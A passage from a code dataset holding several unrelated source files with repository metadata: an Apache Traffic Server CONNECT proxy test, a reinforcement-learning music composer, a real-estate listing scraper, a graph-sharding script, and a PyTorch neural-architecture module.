{Test.TestDirectory}/gold/metrics.gold\")\n # Need to copy over the environment so traffic_ctl knows where to find the unix domain socket\n tr.Processes.Default.Env = self.ts.Env\n tr.Processes.Default.ReturnCode = 0\n tr.StillRunningAfter = self.server\n tr.StillRunningAfter = self.ts\n\n def run(self):\n self.runTraffic()\n self.__testMetrics()\n\n\nConnectViaPVTest().run()\n\n\nclass ConnectViaPVTest2:\n # This test executes a HTTP/2 CONNECT request with Proxy Verifier.\n connectReplayFile = \"replays/connect_h2.replay.yaml\"\n\n def __init__(self):\n self.setupOriginServer()\n self.setupTS()\n\n def setupOriginServer(self):\n self.server = Test.MakeVerifierServerProcess(\"connect-verifier-server2\", self.connectReplayFile)\n # Verify server output\n self.server.Streams.stdout += Testers.ExcludesExpression(\n \"test: connect-request\", \"Verify the CONNECT request doesn't reach the server.\")\n self.server.Streams.stdout += Testers.ContainsExpression(\n \"GET /get HTTP/1.1\\nuuid: 1\\ntest: real-request\",\n reflags=re.MULTILINE,\n description=\"Verify the server gets the second(tunneled) request.\")\n\n def setupTS(self):\n self.ts = Test.MakeATSProcess(\"connect-ts2\", enable_tls=True)\n\n self.ts.Disk.records_config.update(\n {\n 'proxy.config.diags.debug.enabled': 1,\n 'proxy.config.diags.debug.tags': 'http|hpack',\n 'proxy.config.ssl.server.cert.path': f'{self.ts.Variables.SSLDir}',\n 'proxy.config.ssl.server.private_key.path': f'{self.ts.Variables.SSLDir}',\n 'proxy.config.http.server_ports': f\"{self.ts.Variables.ssl_port}:ssl\",\n 'proxy.config.http.connect_ports': f\"{self.server.Variables.http_port}\",\n })\n\n self.ts.addDefaultSSLFiles()\n self.ts.Disk.ssl_multicert_config.AddLine('dest_ip=* ssl_cert_name=server.pem ssl_key_name=server.key')\n\n self.ts.Disk.remap_config.AddLines([\n f\"map / http://127.0.0.1:{self.server.Variables.http_port}/\",\n ])\n # Verify ts logs\n self.ts.Disk.traffic_out.Content += Testers.ContainsExpression(\n f\"Proxy's Request.*\\n.*\\nCONNECT 127.0.0.1:{self.server.Variables.http_port} HTTP/1.1\",\n reflags=re.MULTILINE,\n description=\"Verify that ATS recognizes the CONNECT request.\")\n\n def runTraffic(self):\n tr = Test.AddTestRun(\"Verify correct handling of CONNECT request on HTTP/2\")\n tr.AddVerifierClientProcess(\n \"connect-client2\", self.connectReplayFile, https_ports=[self.ts.Variables.ssl_port], other_args='--thread-limit 1')\n tr.Processes.Default.StartBefore(self.server)\n tr.Processes.Default.StartBefore(self.ts)\n tr.StillRunningAfter = self.server\n tr.StillRunningAfter = self.ts\n\n def run(self):\n self.runTraffic()\n\n\nConnectViaPVTest2().run()\n", "repo_name": "apache/trafficserver", "sub_path": "tests/gold_tests/connect/connect.test.py", "file_name": "connect.test.py", "file_ext": "py", "file_size_in_byte": 9590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1664, "dataset": "github-code", "pt": "71", "api": [{"api_name": "enum.Enum", "line_number": 11, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path", "line_number": 82, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 107, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 187, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 212, "usage_type": "attribute"}]} {"seq_id": "38224622231", "text": "from environments.music_world import MusicWorld, CompositionState\nfrom typing import List, Dict\nfrom constants.note import Note, Symbol\n\nfrom models.music_world_nn import MusicWorldNN\n\nfrom random import random, choice\n\nimport numpy as np\n\nimport time\nimport joblib\nimport os\n\nimport torch\nimport torch.optim as optim\nfrom torch.optim.optimizer import Optimizer\nimport torch.nn as nn\n\nclass InteractiveComposer:\n def __init__(self, env: MusicWorld, model: str = \"\"):\n self.env: MusicWorld = env\n self.action_vals: Dict[CompositionState, Dict[int, float]] = dict() # Using Dict instead of List since total amount of states is unknown\n self.model = model\n\n if(self.model):\n if os.path.isfile('trainings/%s.pkl' % self.model):\n print(\"Model '%s' loaded\" % ('trainings/%s.pkl' % self.model))\n self.action_vals = joblib.load('trainings/%s.pkl' % self.model)\n else:\n print(\"Model '%s' does not exist, one will be created\" % ('trainings/%s.pkl' % self.model))\n else:\n print(\"No model specified in --model argument. Training won't be saved.\")\n\n self.start_composition = [Symbol.NAN] * 8 # TODO: Think about a better representation of non-assigned values\n\n self.discount: float = 1 # TODO: Maybe add discount\n\n # self.states: List[CompositionState] = [] # Since we have too many states, we may not use this\n\n def greedy_policy_vis(self, num_steps: int):\n \n curr_state = CompositionState(self.start_composition)\n\n for itr in range(num_steps):\n action: Note = max(self.action_vals[curr_state], key=self.action_vals[curr_state].get)\n\n curr_state, _, _ = self.env.sample_transition(curr_state, action)\n\n print(curr_state)\n curr_state.play()\n time.sleep(1)\n\n def get_action_val(self, state: CompositionState, action: Note) -> float:\n if (state in self.action_vals and action in self.action_vals[state]):\n return self.action_vals[state][action]\n else:\n return 0.0 # TODO: define initial values for the state,action pairs\n\n def set_action_val(self, state: CompositionState, action: Note, val: float):\n if(not state in self.action_vals):\n self.action_vals[state] = dict()\n \n self.action_vals[state][action] = val\n\n def q_learning(self, epsilon: float, learning_rate: float, episodes: int, step: int):\n\n print(\"q-learning\")\n state: CompositionState = CompositionState(self.start_composition)\n\n episode_num: int = 0\n\n print(\"Q-learning, episode %i\" % episode_num)\n\n continuation = True\n while(continuation):\n if (self.env.is_terminal(state)):\n episode_num = episode_num + 1\n\n if (episode_num % step == 0):\n self.greedy_policy_vis(8)\n \n if (episode_num == episodes):\n break\n\n state = CompositionState(self.start_composition) # restart to initial state\n\n print(\"Q-learning, episode %i\" % episode_num)\n\n state, continuation = self.q_learning_step(state, epsilon, learning_rate)\n \n if(self.model):\n joblib.dump(self.action_vals, 'trainings/%s.pkl' % self.model)\n \n print(\"DONE\")\n\n\n def q_learning_step(self, state: CompositionState, epsilon: float, learning_rate: float):\n action: Note = self.get_random_action(state, epsilon)\n\n (state_next, reward, continuation) = self.env.sample_transition(state, action)\n\n if (not continuation):\n return state_next, continuation\n \n new_q_value = self.get_action_val(state, action) + learning_rate * (reward + ( self.discount * self.get_max_q_value_for_state(state_next) ) - self.get_action_val(state, action))\n self.set_action_val(state, action, new_q_value)\n\n return state_next, continuation\n\n def get_random_action(self, state: CompositionState, epsilon: float) -> Note:\n r : float = random()\n if (r < epsilon):\n return choice(self.env.get_actions())\n else:\n return self.get_best_action_for_state(state)\n\n def get_best_action_for_state(self, state: CompositionState):\n actions: List[Note] = self.env.get_actions()\n q_values: Dict[Note, float] = dict()\n\n for action in actions:\n q_values[action] = self.get_action_val(state, action)\n\n # Pick a random if multiple notes have max value\n max_value = q_values[max(q_values, key=q_values.get)]\n actions_with_max_value = []\n for action in actions:\n if(q_values[action] == max_value):\n actions_with_max_value.append(action)\n\n return choice(actions_with_max_value)\n\n # return max(q_values, key=q_values.get) # TODO: pick best note to follow if all equal\n\n def get_max_q_value_for_state(self, state: CompositionState):\n actions: List[Note] = self.env.get_actions()\n q_values: List[float] = []\n\n for action in actions:\n q_values.append(self.get_action_val(state, action))\n\n return max(q_values)\n\n def deep_q_learning(self, epsilon: float, learning_rate: float, batch_size: int, episodes: int, step: int):\n state: CompositionState = CompositionState(self.start_composition)\n\n torch.set_num_threads(1)\n device: torch.device = torch.device(\"cpu\")\n dqn: nn.Module = MusicWorldNN()\n optimizer: Optimizer = optim.Adam(dqn.parameters(), lr=0.001)\n\n dqn_target: nn.Module = MusicWorldNN()\n dqn_target.eval()\n\n replay_buffer: List = []\n\n episode_num: int = 0\n update_num: int = 100\n total_steps: int = 0\n\n continuation = True\n\n print(\"Q-learning, episode %i\" % episode_num)\n while continuation:\n dqn.eval()\n if self.env.is_terminal(state):\n episode_num = episode_num + 1\n\n if episode_num % step == 0:\n print(\"Visualizing greedy policy\")\n self.greedy_policy_vis_dqn(40, dqn, device)\n \n if(episode_num == episodes):\n break\n\n state = CompositionState(self.start_composition)\n\n print(\"Q-learning, episode %i\" % episode_num)\n\n state, dqn, replay_buffer = self.deep_q_learning_step(state, dqn, dqn_target,\n epsilon, self.discount, batch_size, optimizer, device, replay_buffer)\n\n if total_steps % update_num == 0:\n dqn_target.load_state_dict(dqn.state_dict())\n dqn_target.eval()\n\n if len(replay_buffer) > 10000:\n replay_buffer.pop(0)\n \n total_steps += 1\n \n print(\"DONE\")\n\n\n def deep_q_learning_step(self, state: CompositionState, dqn: nn.Module, dqn_target: nn.Module, epsilon: float,\n discount: float, batch_size: int, optimizer, device, replay_buffer: List):\n \n dqn.eval()\n\n # get action\n a = self.get_random_approximate_action(state, epsilon, dqn)\n\n # get transition\n (next_state, reward, _) = self.env.sample_transition(state,a)\n\n # add to replay buffer\n replay_buffer.append([state, a, reward, next_state])\n\n # sample from replay buffer and train\n batch_idxs = np.random.randint(len(replay_buffer), size=batch_size)\n\n states_nnet_np = np.concatenate([self.state_to_nnet_input(replay_buffer[idx][0]) for idx in batch_idxs], axis=0)\n actions_np = np.array([replay_buffer[idx][1] for idx in batch_idxs])\n rewards_np = np.array([replay_buffer[idx][2] for idx in batch_idxs])\n\n states_next = [replay_buffer[idx][3] for idx in batch_idxs]\n states_next_nnet_np = np.concatenate([self.state_to_nnet_input(replay_buffer[idx][3]) for idx in batch_idxs], axis=0)\n is_terminal_np = np.array([self.env.is_terminal(state_next) for state_next in states_next])\n\n states_nnet = torch.tensor(states_nnet_np, device=device)\n actions = torch.unsqueeze(torch.tensor(actions_np, device=device), 1)\n rewards = torch.tensor(rewards_np, device=device)\n states_next_nnet = torch.tensor(states_next_nnet_np, device=device)\n is_terminal = torch.tensor(is_terminal_np, device=device)\n\n # train DQN\n dqn.train()\n optimizer.zero_grad() \n \n # compute target\n nnet_target_output = dqn_target(states_next_nnet.float())\n y_np = []\n\n for i in range(0,len(states_nnet)):\n r_i = rewards[i]\n\n if(is_terminal[i]):\n y_i = r_i\n else:\n q_t_value = torch.max(nnet_target_output[i])\n y_i = r_i + (discount * q_t_value)\n\n y_np.append([y_i])\n\n y = torch.tensor(y_np).float()\n\n # get output of dqn\n nnet_output = dqn(states_nnet.float())\n nnet_output_indx = []\n \n nnet_output_np = []\n for i in range(0, len(nnet_output)):\n nnet_output_indx.append([actions[i]])\n\n nnet_outputs = nnet_output.gather(-1, torch.tensor(nnet_output_indx))\n\n # loss\n criterion = nn.MSELoss()\n loss = criterion(nnet_outputs, y)\n\n # backpropagation\n loss.backward()\n\n # optimizer step\n optimizer.step()\n\n return next_state, dqn, replay_buffer\n\n def get_random_approximate_action(self, state: CompositionState, epsilon: float, dqn: nn.Module) -> Note:\n r : float = random()\n tensor_nn_state = torch.tensor(self.state_to_nnet_input(state))\n actions_current_state = dqn(tensor_nn_state.float())\n\n if (r < epsilon):\n return torch.tensor(np.random.randint(len(actions_current_state[0])))\n else:\n return torch.argmax(actions_current_state)\n\n def state_to_nnet_input(self, state: CompositionState) -> np.ndarray:\n states_nnet = [int(n) + 1 for n in state.composition_notes]\n states_nnet = np.expand_dims(states_nnet, 0)\n\n return np.array(states_nnet)\n\n def greedy_policy_vis_dqn(self, num_steps: int, dqn: nn.Module, device):\n curr_state = CompositionState(self.start_composition)\n\n for itr in range(num_steps):\n if self.env.is_terminal(curr_state):\n break\n\n state_tens = torch.tensor(self.state_to_nnet_input(curr_state), device=device)\n action_vals_state = dqn(state_tens.float()).cpu().data.numpy()[0, :]\n\n action: Note = Note(np.argmax(action_vals_state))\n curr_state, _, _ = self.env.sample_transition(curr_state, action)\n\n print(curr_state)\n curr_state.play()\n time.sleep(1)\n\n print(\"\")\n\n", "repo_name": "franciscovilchezv/eurydice.rl", "sub_path": "source/visualizer/music_visualizer.py", "file_name": "music_visualizer.py", "file_ext": "py", "file_size_in_byte": 9903, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "environments.music_world.MusicWorld", "line_number": 21, "usage_type": "name"}, {"api_name": "environments.music_world.MusicWorld", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 23, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 23, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "joblib.load", "line_number": 29, "usage_type": "call"}, {"api_name": "constants.note.Symbol.NAN", "line_number": 35, "usage_type": "attribute"}, {"api_name": "constants.note.Symbol", "line_number": 35, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 43, "usage_type": "call"}, {"api_name": "constants.note.Note", "line_number": 46, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 52, "usage_type": "call"}, {"api_name": "environments.music_world.CompositionState", "line_number": 54, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 54, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 60, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 60, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 69, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 86, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 93, "usage_type": "call"}, {"api_name": "environments.music_world.CompositionState", "line_number": 98, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 99, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 111, "usage_type": "name"}, {"api_name": "random.random", "line_number": 112, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 114, "usage_type": "call"}, {"api_name": "constants.note.Note", "line_number": 111, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 118, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 119, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 120, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 120, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 132, "usage_type": "call"}, {"api_name": "environments.music_world.CompositionState", "line_number": 136, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 137, "usage_type": "name"}, {"api_name": "constants.note.Note", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 138, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.set_num_threads", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 149, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 150, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 150, "usage_type": "name"}, {"api_name": "models.music_world_nn.MusicWorldNN", "line_number": 150, "usage_type": "call"}, {"api_name": "torch.optim.optimizer.Optimizer", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 153, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}, {"api_name": "models.music_world_nn.MusicWorldNN", "line_number": 153, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 156, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 177, "usage_type": "call"}, {"api_name": "environments.music_world.CompositionState", "line_number": 196, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 196, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 197, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 211, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 211, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 219, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 221, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 222, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 223, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 241, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 246, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 256, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 259, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 270, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 270, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 270, "usage_type": "name"}, {"api_name": "random.random", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 272, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 276, "usage_type": "attribute"}, {"api_name": "torch.argmax", "line_number": 278, "usage_type": "call"}, {"api_name": "constants.note.Note", "line_number": 270, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 280, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 280, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 286, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 286, "usage_type": "name"}, {"api_name": "environments.music_world.CompositionState", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 293, "usage_type": "call"}, {"api_name": "constants.note.Note", "line_number": 296, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 296, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 301, "usage_type": "call"}]} {"seq_id": "19698282701", "text": "#!/usr/bin/python3\n\nimport os, sys\nimport time\nfrom numpy.random import random\n\nimport re\nimport csv\nimport json\nimport requests\nfrom bs4 import BeautifulSoup as bs\n\n#####\n# UTILS\n#####\n\ndef parse_url( url:str ):\n '''\n Dado un url devuelve objeto parseado de BeautifulSoup\n '''\n n_attempts=5\n for _ in range(n_attempts): \n try:\n response = requests.get( url )\n \n if response.status_code != 200:\n print('***Error en request. Status code',response.status_code, url)\n continue\n \n return bs( response.content, features=\"lxml\" )\n \n except:\n print('***Error en conexión a', url)\n \n return None\n\n\n\ndef get_links(url_search:str) -> list:\n '''\n Devuelve lista con todos los links a publicaciones de alquileres, dada una\n url de búsqueda con el formato que especifica numero de página\n '''\n urls = []\n\n soup = parse_url( url_search )\n if not soup: \n return []\n \n tags = soup.find_all( name='a', \n attrs={'class':'ui-search-result__content ui-search-link'} )\n\n urls += [ t['href'] for t in tags ]\n \n# print(f'Se extrajeron {len(urls)} links')\n return urls\n\n\n\ndef get_data(urls:list) -> list:\n '''\n Devuelve lista de diccionarion con datos del precio, superficie, ubicación...\n Dada una lista de links con publicaciones de inmuebles de mercadolibre,\n '''\n data_list = []\n URL_API = 'https://api.mercadolibre.com/items/'\n PATTERN = \"MLA-\\d+\"\n\n for i,url in enumerate(urls):\n d_data = {}\n\n pub_id = re.findall( re.compile( PATTERN ), url )[0]\n pub_id = pub_id.replace('-','')\n try:\n response = requests.get( URL_API + pub_id )\n except:\n print('***Conexión a API malió sal, reintentando...')\n return None\n \n if response.status_code != 200:\n print('***Request malio sal', response.status_code, url)\n pub_json = response.json() \n\n to_extract = {'sp_tot': 'attributes.Superficie total', \n 'sp_cub': 'attributes.Superficie cubierta', \n 'nu_ambs': 'attributes.Ambientes', \n 'nu_dorms': 'attributes.Dormitorios', \n 'pr_exp': 'attributes.Expensas',\n 'pr_valor': 'price',\n 'pr_moneda': 'currency_id',\n 'fe_pub': 'start_time',\n 'ub_calle': 'location.address_line'}\n\n\n for key, value in to_extract.items():\n \n d_data[key] = None #Inicializo\n \n try: \n if value.startswith('attributes'):\n attrs_list = pub_json['attributes']\n attr = value.split('.')[1]\n for d in attrs_list:\n if d['name'] == attr:\n d_data[key] = d['value_name']\n \n elif value.startswith('location'):\n d_data[key] = pub_json[value.split('.')[0]][value.split('.')[1]]\n \n else:\n d_data[key] = pub_json[value]\n \n except Exception as e:\n print('***No se encontró valor de: ', value, i, url)\n \n### find lat, lon\n response = requests.get(url)\n try:\n pattern = re.compile( '\"location\":\\{(.*?)\\}' )\n locations = re.findall( pattern, str(response.content))\n \n locations = json.loads( '{'+locations[0]+'}' ) \n \n d_data['ub_lat'] = locations['latitude']\n d_data['ub_lon'] = locations['longitude']\n except:\n d_data['ub_lat'] = None\n d_data['ub_lon'] = None\n print('***No se encontró lat/lon: ',i, url)\n \n \n d_data['url'] = re.split( '(.*MLA-\\d*)', url)[1] # para no guardar el url entero que contiene una descripcion de la publicacion\n\n data_list.append(d_data)\n \n# print(i, d_data)\n\n time.sleep(random())\n return data_list\n \n\n\ndef save_data(dicts:list, filepath) -> None:\n\n dirpath = filepath[:filepath.rfind('/')]\n filename = filepath[filepath.rfind('/')+1:]\n\n existing_file = filename in os.listdir(dirpath)\n if existing_file: \n mode='a'\n else: \n mode='x' \n print(f'No se encontró {filepath}, se creará a continuación.')\n \n with open(filepath, mode) as f:\n writer = csv.DictWriter(f, fieldnames=dicts[0].keys())\n\n if os.path.getsize(filepath)==0:\n writer.writeheader()\n \n for i, d in enumerate(dicts):\n writer.writerow( d )\n\n\n\n#####\n# MAIN\n#####\ndef scrap(url, filename, ni=0, nf=1000):\n\n for n in range(ni,nf):\n print(f'\\tPágina {n}')\n url_page = url + str(n*48)\n\n print(f'\\t\\tSacando links')\n links = get_links(url_page)\n\n if len(links)==0:\n print('Se alcanzó la última página.')\n break\n\n print(f'\\t\\tSacando data') \n data = get_data(links) #TARDA 6' POR PÁGINA!!!\n \n print(f'\\t\\tGuardando data')\n save_data( data, filename )\n\n \n \nif __name__=='__main__':\n\n TODAY = time.strftime( \"%Y-%m-%d\", time.localtime() )\n DIRECTORY = sys.argv[1]\n\n URL_SEARCH_PHS = 'https://inmuebles.mercadolibre.com.ar/ph/alquiler/capital-federal/_Desde_'\n URL_SEARCH_CASAS = 'https://inmuebles.mercadolibre.com.ar/casas/alquiler/capital-federal/_Desde_'\n URL_SEARCH_DEPTOS = 'https://inmuebles.mercadolibre.com.ar/departamentos/alquiler/capital-federal/_Desde_'\n \n \n search = {'phs': URL_SEARCH_PHS,\n 'casas': URL_SEARCH_CASAS,\n 'deptos': URL_SEARCH_DEPTOS }\n\n\n for tipo, url in search.items():\n filepath = DIRECTORY + '_'.join([TODAY,tipo,'meli.csv'])\n print(f'Escrapeando {tipo}.\\tLos datos se guardarán en {filepath}')\n scrap(url, filepath)\n \n print('Todo OK :D')\n", "repo_name": "vearcon/TDP-espacios-publicos-origenes", "sub_path": "scrapers/scraper_meli.py", "file_name": "scraper_meli.py", "file_ext": "py", "file_size_in_byte": 6227, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 30, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 72, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 72, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 75, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 117, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 119, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 120, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 122, "usage_type": "call"}, {"api_name": "re.split", "line_number": 132, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 138, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 148, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "time.strftime", "line_number": 192, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 192, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 193, "usage_type": "attribute"}]} {"seq_id": "31444407288", "text": "import json\nfrom tqdm import tqdm\n\nprint(\"opening all nodes\")\nwith open(\"all-nodes.json\", \"r\") as tmp:\n allNodes = json.load(tmp)\n\n# shard the giant graph.json file\nprint(\"opening graph.json\")\nwith open(\"graph.json\", \"r\") as tmp:\n graph = json.load(tmp)\n print(\"opened graph.json\")\n assert len(graph.keys()) == len(allNodes) * 3\n shardSize = 100000\n allKeys = list(graph.keys())\n for shardStart in tqdm(range(0, len(allKeys), shardSize)):\n tmpDict = dict()\n for idx in range(shardStart, min(len(allKeys), shardStart + shardSize)):\n tmpDict[allKeys[idx]] = graph[allKeys[idx]]\n with open(\"graph-shard-{}.json\".format(shardStart // shardSize), \"w\") as shardFile:\n json.dump(tmpDict, shardFile, indent = 2, ensure_ascii=False)", "repo_name": "amanj120/wikilink-coloring", "sub_path": "analysis/phase3.py", "file_name": "phase3.py", "file_ext": "py", "file_size_in_byte": 787, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 6, "usage_type": "call"}, {"api_name": "json.load", "line_number": 11, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 16, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 21, "usage_type": "call"}]} {"seq_id": "73976664549", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nfrom torch import nn, torch\n\nfrom src.implem.ConvolutionalNeuralFabrics import ConvolutionalNeuralFabric, Out_Layer\nfrom src.networks.StochasticSuperNetwork import StochasticSuperNetwork\nfrom src.utils.drawers.BSNDrawer import BSNDrawer\n\nplt.switch_backend('agg')\n\n\nclass BudgetedSuperNetwork(StochasticSuperNetwork, ConvolutionalNeuralFabric):\n def __init__(self, static_node_proba, *args, **kwargs):\n self.static_node_proba = static_node_proba\n self.sampling_parameters = []\n super(BudgetedSuperNetwork, self).__init__(*args, **kwargs)\n self.sampling_parameters = nn.ParameterList(self.sampling_parameters)\n # self.set_graph(self.graph, 'In', 'Out')\n\n def add_transformation(self, source, dest, module):\n src_l, src_s = source\n dst_l, dst_s = dest\n\n trans_name = self._TRANSFORM_FORMAT.format(src_l, src_s, dst_l, dst_s)\n source_name = self._NODE_FORMAT.format(src_l, src_s)\n dest_name = self._NODE_FORMAT.format(dst_l, dst_s)\n\n pos = BSNDrawer.get_draw_pos(source=source, dest=dest)\n\n sampling_param = self.sampling_param_generator(trans_name)\n\n self.graph.add_node(trans_name, module=module, sampling_param=len(self.sampling_parameters), pos=pos)\n self.graph.add_edge(source_name, trans_name, width_node=trans_name)\n self.graph.add_edge(trans_name, dest_name, width_node=trans_name)\n\n self.sampling_parameters.append(sampling_param)\n self.blocks.append(module)\n return trans_name\n\n def add_aggregation(self, pos, module):\n agg_node_name = self._NODE_FORMAT.format(*pos)\n sampling_param = self.sampling_param_generator(agg_node_name)\n\n self.graph.add_node(agg_node_name, module=module, sampling_param=len(self.sampling_parameters),\n pos=BSNDrawer.get_draw_pos(pos=pos))\n\n\n if sampling_param is not None:\n self.sampling_parameters.append(sampling_param)\n self.blocks.append(module)\n return agg_node_name\n\n def add_output_layer(self):\n last_layer = self.n_layer - 1\n out_scale = (self.n_scale - 1) if self.is_classif else 0\n\n out_features_name = self._NODE_FORMAT.format(last_layer, out_scale)\n\n out_pos = (last_layer + 1, out_scale)\n out_name = 'Lin-{}_{}-out'.format(*out_pos)\n\n out_module = Out_Layer(self.n_chan, self.out_size, self.bias)\n\n sampling_param = self.sampling_param_generator(out_name)\n\n self.graph.add_node(out_name, module=out_module, sampling_param=len(self.sampling_parameters),\n pos=BSNDrawer.get_draw_pos(pos=out_pos))\n self.graph.add_edge(out_features_name, out_name, width_node=out_name)\n\n if sampling_param is not None:\n self.sampling_parameters.append(sampling_param)\n self.blocks.append(out_module)\n\n return out_name\n\n def sampling_param_generator(self, node_name):\n if not node_name.startswith('C'):\n param_value = np.inf\n trainable = False\n elif self.static_node_proba >= 0:\n param_value = 1 if np.random.rand() < self.static_node_proba else -1\n param_value *= np.inf\n trainable = False\n else:\n # Node is a convolution\n param_value = 3\n trainable = True\n\n return nn.Parameter(torch.Tensor([param_value]), requires_grad=trainable)\n", "repo_name": "TomVeniat/bsn", "sub_path": "src/implem/BudgetedSuperNetwork.py", "file_name": "BudgetedSuperNetwork.py", "file_ext": "py", "file_size_in_byte": 3470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "71", "api": [{"api_name": "matplotlib.pyplot.switch_backend", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 9, "usage_type": "name"}, {"api_name": "src.networks.StochasticSuperNetwork.StochasticSuperNetwork", "line_number": 12, 